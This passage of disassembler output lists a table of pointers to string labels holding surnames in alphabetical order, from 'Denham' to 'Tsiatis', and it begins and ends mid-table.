		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset dword_430058
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
